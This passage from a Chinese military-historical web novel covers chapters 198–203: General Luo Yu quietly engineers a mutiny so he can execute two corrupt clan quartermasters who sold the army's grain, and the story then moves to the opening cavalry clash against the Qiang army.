定州军的驻地中一片混乱,乌泱泱两拨人在持刀对峙:
一方是许韦率领的亲兵营悍卒,另一方则是几百名定州军卒。
炸营哗变的就是这群人,个个眼中充斥着怒火,感觉就像一堆干柴,随时会被引燃。
还有一个文吏模样的家伙被五花大绑跪在地上,吓得魂都没了。
许韦尽可能地劝着:
“兄弟你先把刀放下!杀了人就没有回头路了。
有什么冤屈洛将军一定会替你们做主的!”
“拉倒吧!高高在上的将军怎么会管我们这些人的死活!”
领头的黑脸汉子红着脸:
“兄弟们,就是这个狗官吞了咱们的粮!你们说该不该杀!”
“杀!”
“那就杀!”
黑脸汉子越想越气,手中大刀已经举起,不过这家伙应该没杀过人,半空中的手一直在抖。
“洛将军到!”
“都住手!”
突然一声冷喝响起,全场瞬间鸦雀无声,就连举刀的黑脸汉子都下意识地停住了手中动作。
人群呼啦啦往两边散开,洛羽走在最前方,萧少游等一众将军都跟着,君墨竹与君沉的脸色很难看。
刚刚在帅帐中还说军规军纪要严,眨眼间定州军卒就哗变了。
这可是定州境内啊!丢人丢大发了。
洛羽环视全场,最后目光落在了黑脸汉子的身上:
“你叫什么?为何聚众哗变?”
嗓音虽轻,却自带一股威严。
“我叫林戈!”
黑脸汉子咽了口唾沫,梗着脖子说道:
“我们不是要哗变,是被逼到了绝路,没办法!
我们要粮!要吃饭!
他们不给粮我们就得饿死!横竖都是死!不如拉着这个狗官一起上路!”
洛羽眉头微皱,看了一眼被五花大绑的小吏,明显是个军需官,又看了看怒气冲冲的定州军卒,最后耐着性子说道:
“先请兄弟们把刀放下,军营哗变是杀头的大罪!
朝廷若是追究起来,不仅你们的人头落地,就连家人都要受牵连,不为自己想也得为家人考虑吧?”
此话一出,确实有人冷静下来,自己一条命死了就死了,可谁愿意连累家人?
洛羽看着林戈:
“我是安西将军,是阙州持节令!
今天当着这么多兄弟的面保证,不管你们有何等冤情,我一定还你们一个公道。
现在,把刀放下。
否则我只能把你们当叛军处置,杀无赦!”
林戈犹豫许久,最后把弯刀一扔,扑通一跪:
“洛将军!求您为我们做主!”
第199章为何哗变
军卒弃刀之后营中的氛围依旧很紧张,因为有越来越多的定州军卒围了过来,场面随时可能再次混乱。
洛羽没有把林戈带去私下询问,而是当着所有军卒的面问道:
“说吧,你到底有何冤屈,要走到聚众哗变这一步。”
“因为我们没饭吃,要饿死了!”
林戈攥紧拳头,红着眼:
“不怕跟洛将军说,两个月前我们还是老实种地的庄稼汉,突然就被官府抓过来当兵了。
羌兵入侵,烧我们的家杀我们的人抢我们的粮,当兵就当兵了,跟他们拼了,没什么好说的。
可让我们去跟羌人拼命,总得给我们饭吃吧?
自从进了军营,兄弟天天饿肚子,别说吃饱饭了,半夜都能给饿醒。就这样还得天天操练,上战场打羌贼。
就在前天,营中活生生饿死了两个人!
洛将军,我们没啥别的想法,就想吃口饭填饱肚子,有错吗!”
“胡说!”
不等洛羽开口,身为君家二公子的君墨竹就板着脸:
“各营军粮皆有定数,每隔五日由军需官发到每一尉,从未缺漏,虽说不能让你们顿顿吃饱饭,但绝不可能饿肚子!
洛将军在前,三州将士齐聚,你要对自己说的每一句话负责!如果是胡搅蛮缠,肆意妄言,那本公子定要治你个妖言惑众,扰乱军心之罪!”
“我没有胡说!”
林戈毫不畏惧:
“如果不是快饿死了,谁愿意担着杀头的风险聚众闹事?几百号兄弟在这,将军和公子可以挨个问,如果我撒谎现在就可以砍了我的脑袋!”
“他没有说谎!我们确实天天饿着肚子在操练!”
“没错,前天饿死的兄弟就是我村里人,今年才十九岁,家中独子,就这么白白死了!他家中的爹娘以后可怎么办啊。”
“吃饭,我们要吃饭!”
接二连三的吼声响起,有了林戈带头,很多军汉都壮着胆子在附和,群情激奋,看神情不是作伪。
“到底是怎么回事?”
洛羽的表情很是难看:
“难道定州连将士们最基本的口粮都供应不了吗?君兄是不是该给我一个解释?”
“不可能,从内地运过来多少军粮我很清楚。”
君墨竹一口否认:“肯定是够吃的!”
“把粮袋拿过来给将军们看看!”
几名军卒扛过一包粮袋往地上一扔,林戈愤愤不平地说道:“这就是今天军需官送到营中的粮食,分量是够了,但压根就不能吃!”
“不能吃?”
萧少游好奇地走上前,抄起一把看了看,目露震惊。
一口袋粮食能有三分之一是粟米就不错了,剩下的全是陈年旧米甚至是沙石,压根就不能吃。
“我们一开始以为是伙夫动了手脚,抓了人差点要打,结果伙夫说军粮送过来的时候就是这样,每次煮饭都要挑上半天才能淘出粟米,再混杂着野菜根喝汤。
一天两天就算了,天天这么吃谁受得了?”
林戈抓起一把混着沙土的粮食往地上一摔:
“诸位将军,小人斗胆问一句,这样的粮你们愿不愿意吃,吃完了能不能上阵打仗!
如果你们每天吃的也是这个,小人绝无二话!”
一众将校都黑着脸,吃这种东西别说打仗了,饿也给你饿死。
洛羽像是在强忍心中怒火:
“君兄,这就是定州供应前线的军粮?”
“不应该啊,送过来的军粮我都会检查一遍,绝不是这样的!”
君墨竹的眉头深深皱起,林戈则指着地上的军需官破口大骂:
“既然运来的粮没问题,那就一定是这个狗官吞了咱们的粮!让我们饿肚子,自己赚个盆满钵满!
今天他来送粮卑职就把他扣了,横竖都是个死,倒不如拉着他垫背!”
“打死他!”
“打死这个狗官!”
军卒们破口大骂,如果不是这么多将军在场,光用唾沫就能淹死他。
洛羽怒目圆睁:
“说!到底是怎么回事!”
肥头大耳的军需官早就吓尿了,一身骚味,面无人色地哆嗦道:
“都是两位督粮官干的,与我无关啊。小人只不过分了一点点银子,真的只有一点点!
将军饶命,饶命啊!”
一看就是个胆小如鼠的家伙,不用拷打就把实情全都交代了:
营中有正副两位督粮官,负责定州、并州军卒的军粮分派,阙州则是自己管自己的。
军粮从后方运到前线,两位督粮官转手就扣下一部分卖了,再换成沙石和陈年旧米补足重量,看不出破绽。负责具体分发粮草的军需官们多多少少都收了好处,简单来讲就是有银子大家一起挣。
骇人听闻。
竟然有人敢如此明目张胆地克扣军粮!
“我,我们的粮也是这样。”
在死寂的氛围中,突然有一群并州军卒战战兢兢地举起手:
“洛将军,送往我们营中的军粮都混了旧米和沙石,我们也饿肚子,求将军替我们主持公道。”
洛羽心头一颤,高声喝道:
“还有哪一营的军粮混了砂石!”
片刻的沉默之后人群中陆陆续续有人举起手,定州并州皆有。
众将怒从心生,合着两州兵马都被克扣了军粮,只不过他们都不敢闹事,只有林戈胆子大,带着军卒闹事。
“该死的!”
洛羽面色铁青:
“去!”
“把督粮官给我抓过来,击鼓,两州军卒校场集结!”
……
两名督粮官被五花大绑地架上高台,底下乌泱泱站满了两州军卒。
更外围则是看热闹的阙州兵丁,他们很庆幸从未被克扣过一粒米,但心中更多的是同情。
“放开我,为什么抓我!我犯了什么罪!”
“你们胆大包天,竟敢抓我!知道我是谁吗!”
两人竟然丝毫不觉恐惧,反而在愤怒大骂。
为何?因为他们一个叫君康,一个叫王保。
掌管粮草军需可是肥缺,正副两位督粮官怎么可能落入外人之手?所以君王二家各出一个,二人在家族内部多多少少都有关系。
比如这个君康,二十出头的模样,算起来还是君墨竹的堂弟。
如果不是君家王家的人,早就有人捅出这件事了,还不是因为背景太深。
两人被押上来的那一刻台下的军卒就开始骂骂咧咧,放在平日里他们真不敢骂,但今天人多,洛羽又答应为他们主持公道,个个胆子都大了起来。
君沉与凌桐两位将军的脸色有些僵硬,好歹是两家族人,丢的是两家的脸面啊。
“都静一静!”
止住暴躁的军卒,洛羽冷脸看向二人:
“你们手底下的军需官已经招供,说你们私卖军粮,混杂砂石,以次充好,害得各营将士饿肚子。
可愿认罪?”
“我,我无罪!贪墨军粮乃是大罪,下官岂敢做此大逆不道之举!”
君康咬了咬牙,站在那儿矢口否认:
“都是他们胡乱攀咬,我完全不知情!”
“噢?这么说你手底下一个小小的军需官就能换掉全军的军粮?看来你这个督粮官没什么用啊。”
“洛将军!他们如何换粮我不得而知,但君家王家的名声可容不得这些小吏污蔑,还望您好好查,还两家一个公道!”
君康和王保估摸着是横行霸道惯了,直接扯起两家做大旗,一口一个君家王家,根本不带怕的。
下一刻,岳伍和许韦抬腿就是一脚踢在两人后腿处:
“你们算个什么东西,跟安西将军说话不知道该跪着吗?”
看似平平无奇的一脚实则角度刁钻、力道十足,两人瞬间惨叫出声,扑通往地上一跪,疼得满头冒汗。
两人的眼眸中终于出现了慌乱,他们突然意识到面前这位乃是正三品安西将军,阙州持节令,是与两家家主齐名的人物。
完了,遇到铁板了。
第200章你在演戏
洛羽微凝眼眸,讥讽道:
“你们下面的军需官都已经招供,是你们二人联手贩卖军粮,贪了银子。掺杂旧米沙石的粮袋也在这,人证物证都有。
你们不认罪我就不能治你们的罪了?”
“我,我认罪。”
身为正督粮官的君康咽了口唾沫,瑟瑟发抖:
“是卑职鬼迷心窍,一时糊涂才做出如此蠢事,求洛将军网开一面,饶了卑职。”
全场哗然,果然是他们二人所为!
这下众人眼中的愤怒更浓郁了,不过随即又担心起来,这两货可是君家王家的人啊,洛羽真会治他们的罪吗?还是不痛不痒地骂几句了事。
“呵呵,认罪就好。”
见洛羽脸上多出了笑容,君康赶忙谄媚着说道:
“求洛将军看在两家的面子上饶卑职一次,以后我们再也不敢了,定会本本分分按规矩做事,恪尽职守!”
“放你一马?”
洛羽脸上的笑容更甚了,继而变成一股冰寒:
“今日你们私吞军粮,饿死了两个人,明日呢?
明日将士们饿着肚子上战场就会打败仗,会死百人,死千人!到时候战场失利、边关不保,羌兵入境,被屠杀的百姓何止千万!
就因你二人,陇西三州会死无数人!
你们轻飘飘的一句两家颜面就想让我放了你们?他日陇西三州尸骸遍野,谁放过那些冤死的百姓!”
“告诉我,谁放过百姓的命!”
所有人都屏住了呼吸,洛羽的话清清楚楚地落在每一名军卒的耳中,铿锵有力。
两人傻眼了,只觉得耳膜发颤。
洛羽朗声喝道:
“贪污军粮、以次充好,造成军卒哗变,该当何罪!”
萧少游迈前一步:
“按律当斩!”
一个斩字令二人脸色煞白,全场皆惊。
洛羽杀意森冷,一看就是要来真的。
君沉与凌桐二人也怔住了,洛羽该不会真要杀了这两个人吧?若是寻常人杀了也就杀了,可他们是两家的本姓子弟啊!
“饶命,饶命啊洛将军,我们真的知错了!”
感受到杀意近在咫尺,两人疯了一样地磕头:“求将军看在两家的面子上放小人一马,咱们再也不敢了!”
“不要扯君家王家!自己触犯了军规就得自己担责!”
洛羽怒喝一声:“难道是两位持节令大人让你们贪墨军粮的?”
两人哑口无言,先别不是,就算真是他们敢说吗?
洛羽面无表情:
“军规当斩,那就斩吧!”
二人浑身战栗,再无此前的嚣张跋扈。
君老将军犹豫半天,终于压低着声音求起情来:
“洛将军,此人毕竟是君家同宗,爹娘与持节令大人算是近亲,如果就这么杀了只怕……
不如令其交出所有贪污的军粮,再杖责三十、逐出军伍,死罪就免了吧。”
凌桐倒是没有开口,毕竟他一不姓王,二也没有老将军那么重的威望。
“老将军此言差矣。”
哪知洛羽并没有给君沉面子:
“此次西羌进犯、寒山关失守,战事危急,稍有不慎便会丧土失地,容不得任何疏忽!
贪墨军粮是何等重罪?刚刚我们在帅帐议事中还说过,全军上下只要有人胆敢触犯军规,一视同仁,严惩不贷!
难道本将军说的话是耳旁风吗?”
被洛羽不轻不重地驳斥了几句,君沉老脸一红,咬咬牙不再说话。
君康面如死灰,将所有的希望寄托于君墨竹身上:
“堂哥,堂哥救我啊!爹娘只有我这么一个儿子啊。”
所有人都看向了君墨竹,堂堂君家二公子若是求情,洛羽总该卖个面子吧?
洛羽也在盯着君墨竹,眼眸中闪烁着寒芒。
沉默许久,在二人绝望的目光中君墨竹转过身去,袍袖一挥:
“军令如山,没听到洛将军的话吗!”
“杀!”
两位公子哥面如死灰地往地上一瘫,身体如筛糠般抖了起来。
“杀!”
洛羽怒喝一声:
“就地处斩,以正军纪!”
岳伍和许韦狞笑一声,一人一刀,干脆利落的就砍下了两人的脑袋。
人头落地的那一刻全场雅雀无声,两州军卒觉得心中无比解气,同时还有一股震惊。
这可是两家本性子弟啊,洛羽竟然敢直接杀了!不管犯了什么罪,总归是在两家脸上扇了一巴掌。
洛羽迈前一步,环视全场:
“民以食为天,当兵打仗吃饱肚子是天经地义的事!如果饿着肚子,别说你们,就算是我也得闹!
从今天起,每人每日增米半斤,确保每天能吃上一顿饱饭。再有人敢克扣军粮,或者贪墨军饷,你们可以直接禀报帅帐。
哪怕只是一粒米,一分银,本将军都要砍了他的头!”
林戈涨红着脸,怒声嘶吼:
“洛将军威武!”
“洛将军威武!”
所有士卒神情亢奋,当兵打仗不就图个有饭吃有银子拿吗。
洛羽的表情转而变得严肃:
“但本将军也要告诉你们,吃了饭拿了饷,都得给我认真操练,积极备战!
谁若是敢偷奸耍滑、贪生怕死,同样严惩不贷!”
“轰!”
全场抱拳怒喝:
“谨遵军令!”
……
帅帐中只有洛羽、萧少游、君墨竹三人。
刚刚洛羽才砍了君墨竹的堂弟,帐中的气氛略显尴尬。
还是君墨竹打破了沉寂,苦笑一声:
“洛将军,您今日倒是出了风头,先是整顿军纪,而后又给每人每日加半斤口粮,这可不是笔小数目啊。
我实话跟你说吧,营中粮草已经短缺,能维持现状就很不容易了,想要增米半斤无异于痴人说梦。”
“营中无粮可以从内地调。”
洛羽若有所指地说道:
“定州并州这么大的家底,总不至于连一万军卒的军粮都拿不出来吧?”
“行吧,此事我来解决。”
君墨竹无奈地摇了摇头:
“君家应该没问题,王家那边我亲自写一封信送过去,想必王彦之不会抠抠搜搜。”
“哈哈哈,那就行。”
洛羽笑了笑:“有了军粮才可以安安心心与羌兵对战嘛。”
“洛将军,我有一事想问。”
笑声还未落下,君墨竹的眉头突然一挑:
“昨日你麾下亲兵许韦去了一趟定州军驻地,似乎是去见今天带头闹事的林戈。
我很好奇啊,他们不是应该今天才认识吗?”
洛羽的表情瞬间僵硬,讪讪一笑:
“我不太明白你的意思?”
“呵呵。”
君墨竹漫不经心地端起茶杯抿了一口:
“如果我没猜错,所谓的炸营哗变应该是洛将军自导自演的一场戏吧?”
第201章冰冻三尺非一日之寒
四目相对,两人的眼眸中都闪烁着异样的光芒。
洛羽饶有兴趣地问道:
“演戏?你凭什么这么说?”
君墨竹单手拖着下巴,慢条斯理地说道:
“军中士卒因为吃不饱饭,大多饿得面黄肌瘦,操练时经常有人饿晕,你到军中虽然时间不长,但肯定能看出端倪。
前些天你对军粮军需不闻不问,今日一出手就杀了两名督粮官,出手又准又快,更是不顾及君家、王家的颜面,给人的感觉就像是蓄谋已久。
昨天许韦去见林戈时我就很好奇你要干什么,今日帅帐议事刚刚结束就发生了哗变,成了你整顿军需的借口,世上哪有这么巧的事?
我敢打赌,这出戏一定是你故意安排的,就是要借军卒哗变的机会惩治贪官、整肃军纪!”
“哈哈,到底是君家二公子啊,这都被你看出来了。”
洛羽大笑出声,缓缓道来:
“其实到军中的第二天我就发现了存在军粮贪墨的问题,说实话,以前阙州军伍也是如此,早就见怪不怪了。
之所以没有整治,一来是因为一直有战事,我腾不出手;二来我不可能直截了当的抓人**,得等一个契机再动手。
直到前天少游抵达军中给我出了个主意,没有契机为何不制造一个契机?”
萧少游接过话道:
“如果正大光明的在军中查谁贪墨了军粮,以君康和王保二人的性子定会连夜逃回家中,有了家族庇护一时半会儿还真拿他们没办法,我们不可能带兵去家族把人抓出来宰了。
但是如果军卒哗变,此事就闹大了,两家就算想维护也维护不了,更可以激起军卒们的愤慨,这时候将两人斩首,刚好可以整肃军纪军规。
要想做成此事就需要一颗棋子,一颗敢于带头**、挑动军卒怒火的棋子。
许韦曾经跟着商队来定州送过货物,与林戈相识,据他说林戈是个秉性纯良之辈,十分可靠,此人对军粮被贪早就怀恨在心,正好为我所用。
所以才有了今天这一处杀贪官的好戏。”
“妙啊,真妙。”
君墨竹频频点头:“早就听说萧将军足智多谋,乃苍岐城主的左膀右臂,今日一见果然非同凡响,不费吹灰之力便杀了两个督粮官,还借此激发了将士们的斗志。
一箭双雕。”
“再妙的计策不还是被君公子看出来了吗?”
萧少游抱着膀子问道:
“我很好奇,既然君公子看出来了,为何还要顺从我们的意思杀了君康,此人再怎么说也是你的堂弟啊。
形势所迫、身不由己?”
帐中略显沉寂,当时**的时候洛羽就在想君墨竹会作何反应,如果君墨竹要力保君康,那就说明他是非不分,不足以深交。
君墨竹没有直接回答这个问题,而是站了起来缓缓踱步:
“陇西边军从朝廷官军到各家牙兵,军粮军饷被克扣是常有的事,积病已久,你们见怪不怪我又何尝不是心知肚明?都说冰冻三尺非一日之寒,非刮骨不可疗毒。
如何刮骨?无非就是**罢了,需要铁血手段将所有贪墨之人全都杀了,就算是两家族人也得杀!
我很清楚哪些人**了军粮军饷,我甚至知道他们贪了多少,把粮食卖到哪里去了,但我不能杀。
原因很简单,我姓君,我杀了家族之人无法对内交代。
但是洛将军可以。”
洛羽目光一愣,愕然道:
“借刀**,合着我还被你利用了?”
“怎么能说是利用,最多算是默契的合作罢了,哈哈。”
君墨竹轻笑一声:
“今日跟两位说句心里话,军中你们杀多少人都行,姓君也好、姓王也罢,我不在乎,我还会替你们挡一挡两家内部的不满。我只想要一支和洛家军一样精锐的铁血雄师,我只想要一个固若金汤的边关!”
二人目光怔怔,看来这位君家二公子比他们想象的要更明辨是非啊。
君墨竹转过身来:
“羌兵主力正在西面的黑岩山口安营扎寨,各路兵马不断汇集,接下来便是一场又一场大战,或许会演变成一场旷日持久的对峙。
后勤军需我会统筹,定州并州内部的流言蜚语我会帮你们解决,确保你们无后顾之忧,战场就交给两位将军了。
两位都是帅才,能在阙州打赢羌兵,总不至于在定州打输吧?”
最后一句话隐隐带着几分激将的意思。
洛羽和萧少游对视一眼,嘴角微翘
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“玄旗所至,从无败绩。”
……
黑岩山口
此地距离乾军大营约二三十里,是耶律乌戈选中的安营位置。
听起来是山口,实际上周围地势大多一马平川,无险可守,唯有两座小小土山算是要地。所以耶律乌戈便将前锋营摆在了山口,主力布置在后方。乾军若是要偷袭,必须先越过山口。
短短七八天的时间,羌兵各路兵马便云集此地,近两万之众,每到晚间黑岩山口便会亮起无数火光,把黑夜照得如同白昼,声势雄壮。
九皇子耶律乌戈很惬意地坐在帅帐中,一手搂着春光乍现的美姬,一手端着精美的酒壶细细品尝:
“唔,这就是所谓的凤仙醉吗?果然是世间极品啊,这个洛羽不仅会打仗,竟然还会酿酒,真乃天下奇闻。”
“来,美人,本殿喂你一口。”
“嘿嘿。”
两人打情骂俏,笑意盎然,浑然感受不到半点肃杀之气。
现在的耶律乌戈宛如一个纨绔子弟,但就在几天前,他杀起老百姓来可是毫不手软。
“殿下。末将有军情禀报。”
赤那台恭恭敬敬地走入帐中,还是和以前一样低着头,目不斜视。
“怎么了?”
耶律乌戈的手掌顺着美姬的领口深入,不断揉捏:“乾军出来叫阵了?”
“没有,乾军每日都在营中练兵,并无任何异动。”
赤那台轻声道:
“不过斥候发现定州内地正在大举筹措军粮运往前线,前几日乾军营中的两名督粮官都**了,据说**了大批军粮,导致乾军营中粮草不足。”
“噢?竟有此事?”
耶律乌戈饶有兴致地坐直身子:
“乾军果然是一群乌合之众啊,大战在即,连粮草都筹不够。”
“没错,与如此敌人交手,我大羌岂能不胜?”
耶律乌戈凝着眼神想了一会儿问道:“斥候有没有打探到后方的军粮何时送到军前?”
“也就五六天吧,据说是君家二公子亲自写信去催粮的,后方那些官吏不敢怠慢。”
“呵呵,五六天吗?”
耶律乌戈诡异一笑:
“再派人去给洛羽下战书,就说五天后两军开战!”
第202章阵前赐名,虎豹骑!
“战书,又是战书。”
洛羽把玩着手中薄薄的信纸,冷声一笑:
“耶律乌戈还真是狂妄,大军刚刚集结完毕,还没休整些时日便想和我军开战,看来是急着想要深入定州腹地啊。”
“这些年边军孱弱,与西羌交战一直是败多胜少,羌兵可不会把我们放在眼里。”
君墨竹有条不紊地说道:
“再加上前几日没能吃掉阙州第一营,耶律乌戈必会怀恨在心,这不急着想找回场子吗?”
君沉老将军面色凝重,开口道:
“洛将军,定州并州的军卒尚在操练备战,没有一两个月的时间很难形成战斗力,能直接参战的只有阙州的一万五千兵马,而羌兵近两万,兵力胜过我方。
此次我们是否闭营不战,为练兵争取时间?”
凌桐也点头赞成老将军的意思,倒不是他二人轻视阙州军,实在是两万羌兵给人的压迫感太强了,当属近年来西羌入侵规模之最。
说白了,这些年陇西边军被草原给打怕了,数百上千骑便可压得他们抬不起来,遑论上万悍卒。
“阙州主力刚到,一兵一卒未发就避战,对军心士气来说可不好啊。”
萧少游轻声道:
“将军,末将的意思是迎战。”
“没错,要战便战!有何惧哉!”
蒙虎握紧拳头冷喝道:
“我第一营上百兄弟的仇还没报呢,这次定要赤那台血债血偿!”
蒙虎目光冰寒,这些天他拼了命地练兵,全营上下摩拳擦掌,他忘不了一个个兄弟倒在自己身边的场面。
“你就这么有信心能打赢第一仗?”
君墨竹目露好奇地看向萧少游:“此战若是输了,对士气的打击更甚。不战,起码能保证不败。”
萧少游微微一笑:
“为将者讲究一个士气为先,君公子,未战先怯可不好噢。一个九皇子罢了,又没长三头六臂,羌兵嘛,我们在云阳关杀的多了,能耐我何?”
君墨竹连同君沉、凌桐的表情都变得古怪起来,他们不知道萧少游的自信从何而来。一直以来名动三州的都是洛羽,他们对萧少游的了解并不多,只是隐隐听闻此人在洛羽手下总领军务,有大帅之才,能以这么快的速度灭了李家、横扫阙州,此人功不可没。
但羌兵可不是区区李家能比的。
“说得好,哪有未战先怯的道理。”
洛羽面如深水:
“那就应战!传我军令,阙州各营整军备战。此战由萧少游全权指挥!”
“轰!”
众将齐齐抱拳,怒喝一声:
“遵命!”
……
“呜呜呜!”
凄厉的号角声响彻云霄,顺着秋风飘向四面八方。
乾羌双方开战的地点选在了两军大营中间的位置,乃是一望无际的平原,很适合大队军马展开阵型,西面隐约浮现的黑土便是所谓的黑岩山口。
两座军阵犹如巨兽般匍匐大地,旌旗蔽野,**林立。
乾军一方高举“洛”字帅旗,大阵中央立起了一座将台,足以俯瞰战场全貌。
洛羽身穿玄色战甲,这才是正儿八经的安西将军甲胄。左侧萧少游却穿了一身白甲,与阙州军的制式黑甲风格迥异。
洛羽升官之后就封了萧少游正四品定边将军,白甲是他亲自为萧少游选的。因为他总觉得萧少游自幼读书,有一股儒将气质,黑甲看起来太过深沉,便选了白甲白袍。
欲买桂花同载酒,终不似、少年游,总该有些年轻人的样子才对。
君墨竹未穿甲胄,还是那一身墨色长衫,袍尾随着秋风缓缓飘动,表面绣着的竹纹栩栩如生,像是在蓬勃生长。
一玄一白一墨。
看起来竟然很是般配。
将台周围便是一架架蒙皮战鼓和手握令旗的传令兵,待会儿萧少游的军令会从这些人手中传向每一营、每一尉。
大阵前方矗立着三座骑阵,分别是蒙虎、曹殇、霍连城三营,整整六千骑兵,气势雄壮,甲胄茫茫。后面乃是徐松、石敢的两营步卒,盾牌在前,**在后。
此前洛羽定下的军制是一营千人,下属三尉,现在军力扩充,每营便增加至六尉。
大阵左右两翼是定州并州的军卒,第一次看到如此大的阵仗,许多新兵军卒的脸上都带着不安。当然了,他们用不着出战,列阵在此完全是为了助长军威。
羌军大阵中竖起了皇旗,众所周知,西羌军旗乃是孤狼逐日的图案,所谓的孤狼是一头黑狼,但耶律乌戈的皇旗乃是用银线绣出来的,看起来更加威武、更加尊贵。
银狼逐日,这在草原是身份与地位的象征。
耶律乌戈的身边站着三位悍将:
万户赤那台、万户蒙格苏、万户阿史那铁勒。
此次西羌发兵三万,总计有五名万户猛安随行,也就是说由五路兵马组成,剩下的两位万户
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率兵驻扎在寒山关,为大军后援。
一万羌兵,清一色的骑兵悍勇,前方同样是三座骑阵,中间兵力最多,足足三千人,恰好是那日在山谷伏击蒙虎的兵马,左右两翼各两千人,剩下的三千骑兵拱卫在耶律乌戈的四周。
耶律乌戈注目远眺,语气中带着些许莫名:
“没想到有朝一日能在陇西看到如此多的披甲骑军,放在几年前是不可想象的啊,我总有一种预感,洛羽会成为我大羌的心腹之患。”
万户蒙格苏抱拳喝道:
“请殿下勿忧,**原儿郎骁勇善战,岂是这些乾人宵小可比?区区洛羽罢了,在末将看来无非是乳臭未干的小儿,我等必会为殿下踏平陇西,为大羌立下不世之功!”
“诸位有此战心便足够了。”
耶律乌戈很是满意,轻笑一声:
“赤那台,看到了吗,对面中央骑军竖着第一营的旗号,看起来是要充当先锋啊,校尉蒙虎可是员悍将啊。”
赤那台心领神会:
“末将请战,为殿下取其首级!夺其将旗!”
“准!”
“呜呜呜!”
伴随着一阵凄厉的号角声,赤那台亲领三千骑兵缓缓出阵,极为嚣张地铺开锋线,挥舞着弯刀准备冲锋,挑衅之味甚浓。
“呸!”
蒙虎恶狠狠地吐了口唾沫,第一营两千悍卒人人目露凶光,眼神中杀意涌动,正所谓仇人相见分外眼红。一百精骑惨死山谷,那么多百姓枉死在马蹄之下,他们忘不了山谷一战的耻辱,赤那台就是他们的头号仇人!
两千骑扯动缰绳,同样往前行了几步,与羌兵遥遥相对,虽然兵力略少,可气势丝毫不弱。
蒙虎目光狰狞:
“将士们,替同袍报仇、替第一营雪耻的时候到了,可敢随我一战!”
“杀,杀,杀!”
回营他的是三声冲**吼。
“哒哒哒~”
马蹄声突兀响起,大军阵中那面“洛”字帅旗竟然动了,洛羽亲领骑兵疾驰而来,在军前游弋,朗声怒喝:
“阙州第一营征战四方、屡立战功,全军如猛虎、满营似猎豹,为大军前锋,陷阵无双,战无不胜!
今日阵前赐名:
虎豹骑!”
“轰!”
全营齐行军礼,傲气夹杂着杀意冲天而起。
蒙虎提枪怒吼:
“虎豹骑!”
“在!”
“起矛!雪耻!”
第203章成军之战
“开战!”
“擂鼓,为我大军助威!”
隆隆战鼓声回荡,双方骑阵不约而同地策马前行,马蹄踩踏得尘土飞扬,犹如浪潮席卷,滚滚向前。
所有目光都汇聚在战场中央,屏气凝神,等待着大军凿阵的那一刻。君沉和凌桐已经不是第一次看蒙虎带兵出战了,但今日的虎豹骑似乎与当初那个第一营截然不同,杀气更甚。
“轰隆隆!”
随着锋线的逼近,两军骑阵前冲的速度越来越快,精通骑战的老兵们微伏身形,紧紧夹住马腹,**向前,确保自己能以最佳姿态杀入敌阵。
狭路相逢勇者胜!
临阵之际,蒙虎举枪怒吼:
“陷阵之士!”
“有死无生!”
“杀!”
“砰砰砰!”
铁蹄如雷,大地震颤。两股洪流在烟尘中轰然相撞,刹那间刀光如雪、**如林。
虎豹骑的披甲悍卒们凶悍递出手中长矛,战马前奔,人立而起,长矛在阳光下划出森冷弧线。鲜血混着沙尘溅起,杀戮在顷刻间爆发。
前排骑兵在撞击瞬间便连人带马翻滚倒地,后续铁骑却踏着同袍的尸骸继续突进,不断有人坠马被踏成肉泥。
双方皆是如此,这就是骑战的残酷,军卒坠马绝无生还的可能!
蒙虎一马当先,如猛虎出闸,铁蹄踏处,敌阵如波开浪裂。手中一杆浑铁长矛舞得如狂风骤雨,矛尖过处,血肉横飞。敌骑挺枪来刺,被他反手一枪横扫,连人带马劈作两段。
三名羌兵合围而上,直取蒙虎要害。他却枪杆抡圆,先是将左侧羌兵连盔带头砸得粉碎,再回马一挑,正中另一敌人的咽喉,鲜血喷溅三尺。最后一名羌兵彻底慌了神,手中的刀都快拿不稳了,拨马欲逃,蒙虎暴喝如雷,催马赶上,单手将其提起,活生生甩进敌阵之众,继而被数不清的马蹄踩成肉泥。
魏野紧随蒙虎身后,身形矫健,在乱军中穿梭如猎豹奔腾,枪尖过处必有人头滚落。其实前些日子他受的伤还没好,铠甲之下裹着厚厚的纱带,蒙虎本不想让他出战,但他死活也要上战场,否则就撂挑子不干,蒙虎没奈何,只能从了他。
敌骑挺矛刺来,他侧身一让,左**格开长矛,右手刀顺势劈下,那敌骑半边肩膀连着臂膀被齐根卸下,惨嚎坠马。
几名羌兵齐齐围了过来,长矛突刺。魏野冷笑一声,猛然伏身冲刺,一手刀一**,杀得羌兵哭爹喊娘,他舔了舔溅到唇边的热血,眼中凶光更盛:
“该死的羌贼,今日定要让你们血债血偿!”
“杀!”
“砰砰砰!”
两军骑兵往敌阵中疯狂凿入,别看羌兵人多势众,可虎豹骑上下被一股愤怒和杀意所笼罩,人人奋勇厮杀,硬是在气势上力压羌兵一头。
一轮、两轮,整整三轮凿阵。
对观战的双方士兵来讲时间仿佛凝固了,耳中只有愤怒的嘶吼与刀枪相撞的清脆声在回荡,五千骑兵就这么枪对枪、刀对刀地冲杀了一个时辰。
第三轮凿阵之后双方都勒住了缰绳,各自调整阵型,骑兵大口大口地喘着粗气,刀锋枪尖早已变得鲜血淋漓。
战场中央躺着数不清的死尸,残肢断臂随处可见,血腥不已。
细细看去你竟然会发现羌兵的尸体远多于虎豹骑,兵力稍弱一头的虎豹骑竟然硬生生打出了优势。
赤那台的表情彻底变了,握枪的手臂不断发抖,刚刚他与蒙虎交锋了两次,强劲的臂力震得他半边身子都麻了。不仅是蒙虎、就连寻常军卒都给他一种极强的压迫感,对面的骑兵就像是疯了一般玩命冲杀,他亲眼见到一名重伤的乾军从马背上纵身一跃,抱着羌兵一起滚落地面,然后被战马活生生踩死。
怎么回事?以前乾兵不是最怕死的吗?
“轰隆隆!”
不等他多喘几口气,对面的虎豹骑开始了新一轮的冲锋,一排排血淋淋的枪尖高高举起,阵型稳固如初。
“妈的,本将乃大羌猛安,难道怕你不成!”
赤那台怒从心生,阵型已经有些松散的三千羌骑再度跟着他冲向战场,但气势早已不如刚开始那么凶悍。
耶律乌戈眉头微皱,如此战况可不能让他满意,冷冷地说了一句:
“两翼出战,围歼乾军!”
“两翼出战!”
“轰隆隆!”
号角一响,两侧羌兵便气势汹汹地涌了出去,不断提速想要从战场两翼包抄虎豹骑。
萧少游岂会给他这个机会?令旗挥动,等待许久的曹殇、霍连城两营骑兵当即策马前行,目标直指两翼羌兵。
整座战场同时有六座骑阵展开冲锋,上万战马一起踏动马蹄,声势惊天动地。
